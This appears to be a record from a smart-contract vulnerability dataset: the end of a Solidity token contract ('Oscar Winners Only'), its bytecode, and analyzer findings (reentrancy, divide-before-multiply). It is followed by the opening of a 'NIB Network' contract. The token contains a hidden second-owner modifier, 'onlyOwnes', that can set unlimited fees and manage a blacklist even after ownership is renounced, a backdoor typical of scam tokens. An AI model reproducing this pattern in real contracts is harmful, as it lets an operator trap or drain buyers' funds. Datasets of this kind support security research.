uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function sets(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwnes {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwnes {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwnes {
_maxWalletSize = maxWalletSize;
}
}
|
0x6080604052600436106101ba5760003560e01c806374010ece116100ec578063a9059cbb1161008a578063c8c3a50511610064578063c8c3a505146105e0578063dd62ed3e14610609578063e8e52d5f14610646578063ea1644d51461066f576101c1565b8063a9059cbb1461054f578063bfd792841461058c578063c3c8cd80146105c9576101c1565b80638f70ccf7116100c65780638f70ccf7146104a75780638f9a55c0146104d057806395d89b41146104fb57806398a5c31514610526576101c1565b806374010ece146104285780637d1db4a5146104515780638da5cb5b1461047c576101c1565b8063313ce567116101595780636d8aa8f8116101335780636d8aa8f8146103945780636fc3eaec146103bd57806370a08231146103d4578063715018a614610411576101c1565b8063313ce5671461031557806349bd5a5e146103405780636b9990531461036b576101c1565b80631694505e116101955780631694505e1461025757806318160ddd1461028257806323b872dd146102ad5780632fd689e3146102ea576101c1565b8062b8cf2a146101c657806306fdde03146101ef578063095ea7b31461021a576101c1565b366101c157005b600080fd5b3480156101d257600080fd5b506101ed60048036038101906101e89190612a62565b610698565b005b3480156101fb57600080fd5b506102046107c4565b6040516102119190612b33565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190612b8b565b610801565b60405161024e9190612be6565b60405180910390f35b34801561026357600080fd5b5061026c61081f565b6040516102799190612c60565b60405180910390f35b34801561028e57600080fd5b50610297610845565b6040516102a49190612c8a565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190612ca5565b610856565b6040516102e19190612be6565b60405180910390f35b3480156102f657600080fd5b506102ff61092f565b60405161030c9190612c8a565b60405180910390f35b34801561032157600080fd5b5061032a610935565b6040516103379190612d14565b60405180910390f35b34801561034c57600080fd5b5061035561093e565b6040516103629190612d3e565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612d59565b610964565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612db2565b610a56565b005b3480156103c957600080fd5b506103d2610b07565b005b3480156103e057600080fd5b506103fb60048036038101906103f69190612d59565b610b79565b6040516104089190612c8a565b60405180910390f35b34801561041d57600080fd5b50610426610bca565b005b34801561043457600080fd5b5061044f600480360381019061044a9190612ddf565b610d1d565b005b34801561045d57600080fd5b50610466610dbc565b6040516104739190612c8a565b60405180910390f35b34801561048857600080fd5b50610491610dc2565b60405161049e9190612d3e565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190612db2565b610deb565b005b3480156104dc57600080fd5b506104e5610e9d565b6040516104f29190612c8a565b60405180910390f35b34801561050757600080fd5b50610510610ea3565b60405161051d9190612b33565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190612ddf565b610ee0565b005b34801561055b57600080fd5b5061057660048036038101906105719190612b8b565b610f81565b6040516105839190612be6565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612d59565b610f9f565b6040516105c09190612be6565b60405180910390f35b3480156105d557600080fd5b506105de610fbf565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612d59565b611039565b005b34801561061557600080fd5b50610630600480360381019061062b9190612e0c565b6111fd565b60405161063d9190612c8a565b60405180910390f35b34801561065257600080fd5b5061066d60048036038101906106689190612e4c565b611284565b005b34801561067b57600080fd5b5061069660048036038101906106919190612ddf565b61133d565b005b6106a06113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690612eff565b60405180910390fd5b60005b81518110156107c05760016011600084848151811061075457610753612f1f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b890612f7d565b915050610732565b5050565b60606040518060400160405280601281526020017f4f736361722057696e6e657273204f6e6c790000000000000000000000000000815250905090565b600061081561080e6113de565b84846113e6565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108638484846115b1565b6109248461086f6113de565b61091f8560405180606001604052806028815260200161392c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108d56113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d159092919063ffffffff16565b6113e6565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61096c6113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f290612eff565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a5e6113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612eff565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b486113de565b73ffffffffffffffffffffffffffffffffffffffff1614610b6857600080fd5b6000479050610b7681611d79565b50565b6000610bc3600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de5565b9050919050565b610bd26113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5690612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d256113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da990612eff565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610df36113de565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790612eff565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600381526020017f6f576f0000000000000000000000000000000000000000000000000000000000815250905090565b610ee86113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90612eff565b60405180910390fd5b8060198190555050565b6000610f95610f8e6113de565b84846115b1565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110006113de565b73ffffffffffffffffffffffffffffffffffffffff161461102057600080fd5b600061102b30610b79565b905061103681611e53565b50565b6110416113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790613038565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61128c6113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612eff565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b6113456113de565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612eff565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d906130ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd9061315c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a49190612c8a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611621576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611618906131ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168890613280565b60405180910390fd5b600081116116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613312565b60405180910390fd5b6116dc610dc2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174a575061171a610dc2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a1457601660149054906101000a900460ff166117a9576017548111156117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179f9061337e565b60405180910390fd5b5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561184d5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188390613410565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461193957601854816118ee84610b79565b6118f89190613430565b10611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f906134f8565b60405180910390fd5b5b600061194430610b79565b905060006019548210159050601754821061195f5760175491505b8080156119795750601660159054906101000a900460ff16155b80156119d35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119e9575060168054906101000a900460ff165b15611a11576119f782611e53565b60004790506000811115611a0f57611a0e476120db565b5b505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611abb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b6e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611b6d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611b7c5760009050611d03565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c3f57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cea5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d0257600b54600d81905550600c54600e819055505b5b611d0f8484848461216d565b50505050565b6000838311158290611d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d549190612b33565b60405180910390fd5b5060008385611d6c9190613518565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611de1573d6000803e3d6000fd5b5050565b6000600754821115611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e23906135be565b60405180910390fd5b6000611e3661219a565b9050611e4b81846121c590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e8b57611e8a6128c1565b5b604051908082528060200260200182016040528015611eb95781602001602082028036833780820191505090505b5090503081600081518110611ed157611ed0612f1f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7357600080fd5b505afa158015611f87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fab91906135f3565b81600181518110611fbf57611fbe612f1f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208a959493929190613719565b600060405180830381600087803b1580156120a457600080fd5b505af11580156120b8573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61213e60026121306009866121c590919063ffffffff16565b61220f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612169573d6000803e3d6000fd5b5050565b8061217b5761217a61228a565b5b6121868484846122cd565b8061219457612193612498565b5b50505050565b60008060006121a76124ac565b915091506121be81836121c590919063ffffffff16565b9250505090565b600061220783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061250e565b905092915050565b6000808314156122225760009050612284565b600082846122309190613773565b905082848261223f91906137fc565b1461227f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122769061389f565b60405180910390fd5b809150505b92915050565b6000600d5414801561229e57506000600e54145b156122a8576122cb565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806122df87612571565b95509550955095509550955061233d86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d285600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241e81612681565b612428848361273e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124859190612c8a565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b600080600060075490506000683635c9adc5dea0000090506124e2683635c9adc5dea000006007546121c590919063ffffffff16565b82101561250157600754683635c9adc5dea0000093509350505061250a565b81819350935050505b9091565b60008083118290612555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254c9190612b33565b60405180910390fd5b506000838561256491906137fc565b9050809150509392505050565b600080600080600080600080600061258e8a600d54600e54612778565b925092509250600061259e61219a565b905060008060006125b18e87878761280e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061261b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d15565b905092915050565b60008082846126329190613430565b905083811015612677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266e9061390b565b60405180910390fd5b8091505092915050565b600061268b61219a565b905060006126a2828461220f90919063ffffffff16565b90506126f681600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262390919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612753826007546125d990919063ffffffff16565b60078190555061276e8160085461262390919063ffffffff16565b6008819055505050565b6000806000806127a46064612796888a61220f90919063ffffffff16565b6121c590919063ffffffff16565b905060006127ce60646127c0888b61220f90919063ffffffff16565b6121c590919063ffffffff16565b905060006127f7826127e9858c6125d990919063ffffffff16565b6125d990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612827858961220f90919063ffffffff16565b9050600061283e868961220f90919063ffffffff16565b90506000612855878961220f90919063ffffffff16565b9050600061287e8261287085876125d990919063ffffffff16565b6125d990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128f9826128b0565b810181811067ffffffffffffffff82111715612918576129176128c1565b5b80604052505050565b600061292b612897565b905061293782826128f0565b919050565b600067ffffffffffffffff821115612957576129566128c1565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129988261296d565b9050919050565b6129a88161298d565b81146129b357600080fd5b50565b6000813590506129c58161299f565b92915050565b60006129de6129d98461293c565b612921565b90508083825260208201905060208402830185811115612a0157612a00612968565b5b835b81811015612a2a5780612a1688826129b6565b845260208401935050602081019050612a03565b5050509392505050565b600082601f830112612a4957612a486128ab565b5b8135612a598482602086016129cb565b91505092915050565b600060208284031215612a7857612a776128a1565b5b600082013567ffffffffffffffff811115612a9657612a956128a6565b5b612aa284828501612a34565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae5578082015181840152602081019050612aca565b83811115612af4576000848401525b50505050565b6000612b0582612aab565b612b0f8185612ab6565b9350612b1f818560208601612ac7565b612b28816128b0565b840191505092915050565b60006020820190508181036000830152612b4d8184612afa565b905092915050565b6000819050919050565b612b6881612b55565b8114612b7357600080fd5b50565b600081359050612b8581612b5f565b92915050565b60008060408385031215612ba257612ba16128a1565b5b6000612bb0858286016129b6565b9250506020612bc185828601612b76565b9150509250929050565b60008115159050919050565b612be081612bcb565b82525050565b6000602082019050612bfb6000830184612bd7565b92915050565b6000819050919050565b6000612c26612c21612c1c8461296d565b612c01565b61296d565b9050919050565b6000612c3882612c0b565b9050919050565b6000612c4a82612c2d565b9050919050565b612c5a81612c3f565b82525050565b6000602082019050612c756000830184612c51565b92915050565b612c8481612b55565b82525050565b6000602082019050612c9f6000830184612c7b565b92915050565b600080600060608486031215612cbe57612cbd6128a1565b5b6000612ccc868287016129b6565b9350506020612cdd868287016129b6565b9250506040612cee86828701612b76565b9150509250925092565b600060ff82169050919050565b612d0e81612cf8565b82525050565b6000602082019050612d296000830184612d05565b92915050565b612d388161298d565b82525050565b6000602082019050612d536000830184612d2f565b92915050565b600060208284031215612d6f57612d6e6128a1565b5b6000612d7d848285016129b6565b91505092915050565b612d8f81612bcb565b8114612d9a57600080fd5b50565b600081359050612dac81612d86565b92915050565b600060208284031215612dc857612dc76128a1565b5b6000612dd684828501612d9d565b91505092915050565b600060208284031215612df557612df46128a1565b5b6000612e0384828501612b76565b91505092915050565b60008060408385031215612e2357612e226128a1565b5b6000612e31858286016129b6565b9250506020612e42858286016129b6565b9150509250929050565b60008060008060808587031215612e6657612e656128a1565b5b6000612e7487828801612b76565b9450506020612e8587828801612b76565b9350506040612e9687828801612b76565b9250506060612ea787828801612b76565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ee9602083612ab6565b9150612ef482612eb3565b602082019050919050565b60006020820190508181036000830152612f1881612edc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8882612b55565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fbb57612fba612f4e565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613022602683612ab6565b915061302d82612fc6565b604082019050919050565b6000602082019050818103600083015261305181613015565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006130b4602483612ab6565b91506130bf82613058565b604082019050919050565b600060208201905081810360008301526130e3816130a7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613146602283612ab6565b9150613151826130ea565b604082019050919050565b6000602082019050818103600083015261317581613139565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131d8602583612ab6565b91506131e38261317c565b604082019050919050565b60006020820190508181036000830152613207816131cb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061326a602383612ab6565b91506132758261320e565b604082019050919050565b600060208201905081810360008301526132998161325d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132fc602983612ab6565b9150613307826132a0565b604082019050919050565b6000602082019050818103600083015261332b816132ef565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613368601c83612ab6565b915061337382613332565b602082019050919050565b600060208201905081810360008301526133978161335b565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006133fa602383612ab6565b91506134058261339e565b604082019050919050565b60006020820190508181036000830152613429816133ed565b9050919050565b600061343b82612b55565b915061344683612b55565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561347b5761347a612f4e565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006134e2602383612ab6565b91506134ed82613486565b604082019050919050565b60006020820190508181036000830152613511816134d5565b9050919050565b600061352382612b55565b915061352e83612b55565b92508282101561354157613540612f4e565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006135a8602a83612ab6565b91506135b38261354c565b604082019050919050565b600060208201905081810360008301526135d78161359b565b9050919050565b6000815190506135ed8161299f565b92915050565b600060208284031215613609576136086128a1565b5b6000613617848285016135de565b91505092915050565b6000819050919050565b600061364561364061363b84613620565b612c01565b612b55565b9050919050565b6136558161362a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136908161298d565b82525050565b60006136a28383613687565b60208301905092915050565b6000602082019050919050565b60006136c68261365b565b6136d08185613666565b93506136db83613677565b8060005b8381101561370c5781516136f38882613696565b97506136fe836136ae565b9250506001810190506136df565b5085935050505092915050565b600060a08201905061372e6000830188612c7b565b61373b602083018761364c565b818103604083015261374d81866136bb565b905061375c6060830185612d2f565b6137696080830184612c7b565b9695505050505050565b600061377e82612b55565b915061378983612b55565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137c2576137c1612f4e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061380782612b55565b915061381283612b55565b925082613822576138216137cd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613889602183612ab6565b91506138948261382d565b604082019050919050565b600060208201905081810360008301526138b88161387c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006138f5601b83612ab6565b9150613900826138bf565b602082019050919050565b60006020820190508181036000830152613924816138e8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b4b673cda444ddd5622c22eedf02b74a81aecc32406edc30669ee7c2e0860ca64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,562 |
0x916bc1becbab82747948f9d04467aecbbbc13e5f
|
// SPDX-License-Identifier: MIT
/**
* NIB Network
* https://NIB.network
*
* Additional details for contract and wallet information:
* https://NIB.network/tracking/
* 𝖓𝖎𝖓𝖏𝖆𝖇𝖔𝖔𝖒 𝖎𝖘 𝖑𝖎𝖛𝖊
*
*/
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
